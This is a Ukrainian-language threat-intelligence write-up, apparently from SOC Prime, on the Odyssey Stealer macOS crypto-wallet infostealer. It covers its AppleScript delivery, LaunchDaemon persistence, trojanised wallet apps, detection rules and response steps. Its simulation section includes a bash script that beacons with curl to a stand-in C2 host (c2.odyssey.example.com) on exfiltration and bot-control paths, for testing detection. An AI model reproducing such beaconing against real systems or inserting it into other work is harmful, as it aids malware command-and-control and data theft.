SOC Prime Bias: Середній

13 Feb 2026 13:13 UTC

Odyssey Stealer: Всередині операції з викрадення криптовалюти на macOS

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Odyssey Stealer: Всередині операції з викрадення криптовалюти на macOS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Odyssey Stealer – це інфостілер для macOS, який зосереджується на криптовалютних гаманцях та розширеннях. Він рекламується як платформа Malware-as-a-Service, де афілійовані особи орендують доступ до централізованого C2 та панелі адміністратора. Доставлення зазвичай покладається на зашифрований AppleScript, який встановлює стійкий LaunchDaemon, що опитує C2 для отримання команд. Оператор також може замінити легітимні додатки Ledger і Trezor на троянізовані збірки для захоплення облікових даних та даних транзакцій.

Розслідування

Дослідники ідентифікували C2 за допомогою унікальних HTML мета тегів, хешів тіла сторінки та загального хеша фавікона. Вони відстежили десять фізичних хостів по кількох кластерах ASN, переважно в Європі та Нідерландах. Розбір вантажу показав багатоступеневий завантажувач AppleScript, стійкість LaunchDaemon та Go-компільовану SOCKS5 проксі. Дані конфігурації, вбудовані в завантажувач, розкривали ідентифікатори афілійованих осіб та ідентифікатори збірок.

Пом’якшення

Слідкуйте за підозрілою активністю osascript, особливо за довгими зашифрованими рядками, невідомими файлами plist LaunchDaemon з випадковими ярликами та вихідними запитами POST до точок входу “/log”. Отримуйте сповіщення про бінарні файли, запущені LaunchDaemon, та підозрілу активність SOCKS5. Перевірте підпис коду для додатків Ledger і Trezor, а також блокуйте відомі домени C2 та IP-адреси. Навчайте користувачів сприймати несподівані запити паролів та “оновлення гаманця” як високий ризик.

Реагування

Після виявлення ізолюйте систему, завершіть шкідливий LaunchDaemon та видаліть троянізовані гаманці. Захопіть мережевий трафік до ідентифікованих доменів C2 та IP для розслідування, потім скиньте скомпрометовані облікові дані криптовалют і змініть паролі macOS. Виконайте повний судово-медичний огляд для виявлення додаткових артефактів.

Потік атаки

Виявлення

macOS Shell архівування даних падтримки застосунків (через cmdline)

Команда SOC Prime
13 лютого 2026

macOS Osascript запуск curl (через cmdline)

Команда SOC Prime
13 лютого 2026

macOS Shell запис до директорії LaunchDaemons (через file_event)

Команда SOC Prime
13 лютого 2026

IOCs (SourceIP) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS

Правила SOC Prime AI
13 лютого 2026

IOCs (DestinationIP) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS

Правила SOC Prime AI
13 лютого 2026

IOCs (HashSha256) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS

Правила SOC Prime AI
13 лютого 2026

IOCs (HashMd5) для виявлення: Odyssey Stealer: В середині операції з крадіжки криптовалют macOS

Правила SOC Prime AI
13 лютого 2026

Odyssey Stealer: Виявлення кінцевих точок C2 [Вебсервер]

Правила SOC Prime AI
13 лютого 2026

Odyssey Stealer: Виявлення зашифрованого AppleScript та використання Curl [Linux Process Creation]

Правила SOC Prime AI
13 лютого 2026

Виконання симуляції

Передумова: Телеметрія та перевірка зразка повинні пройти.

  • Сценарій атаки та команди:
    Противник розгорнув Odyssey Stealer на робочій станції macOS. Після компрометації користувача, шкідливе ПЗ ініціює маяк на свій C2 сервер для завантаження додаткових завантажень та екстракції зібраних даних. Маяк використовує стандартний curl бінарний (підписаний Apple бінарний) для здійснення HTTP GET запитів до C2 точок, визначених у правилі. Атакуючий вибирає ці специфічні URI шляхи, тому що вони короткі, зливаються з типовим веб-трафіком та уникають виявлення через загальні рішення фільтрації URL.

    Кроки:

    1. Розв’язати ім’я хосту C2 (змодульоване як c2.odyssey.example.com).
    2. Здійснити GET запит до /d/aff123456 – імітує закінчувальну точку ексфільтрації з випадковим кодом афілійованої особи та числовим токеном.
    3. Здійснити GET запит до /api/v1/bot/ – імітує сигнал управління ботами.
    4. Опціонально, надіслати запит до /log щоб імітувати внутрішній трафік логування, який використовується шкідливим програмним забезпеченням для звітування про стани.
  • Сценарій регресійного тестування: Наступний сценарій bash відтворює точний трафік, необхідний для викликання правила виявлення.

    #!/usr/bin/env bash
    # Імітація маяка Odyssey Stealer для перевірки виявлення
    # Вимоги: curl, мережева проксі налаштована відповідно до передпрохідних кроків
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # налаштуйте на адресу вашої проксі Squid
    
    # Функція надсилання запиту через проксі
    send_request() {
        local path=$1
        echo "[*] Надсилання запиту до https://${C2_HOST}${path} через проксі ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. Точка ексфільтрації даних (випадковий афілійований + цифри)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. Сигнал управління ботами
    send_request "/api/v1/bot/"
    
    # 3. Опціональна точка логування
    send_request "/log"
    
    echo "[+] Імітація завершена. Перевірте сповіщення в SIEM."

    Збережіть сценарій як odyssey_beacon.sh, зробіть його виконуваним (chmod +x odyssey_beacon.sh) та запустіть його на тестовому хості macOS.

  • Команди очищення: Видаліть будь-які тимчасові файли та, за бажанням, вимкніть проксі для тестового користувача.

    # Вимкніть налаштування проксі для інтерфейсу Wi-Fi
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Опціонально) Зупиніть Squid, якщо він був запущений виключно для цього тесту
    # brew services stop squid
    echo "Налаштування проксі відновлені, а Squid зупинено (якщо застосовно)."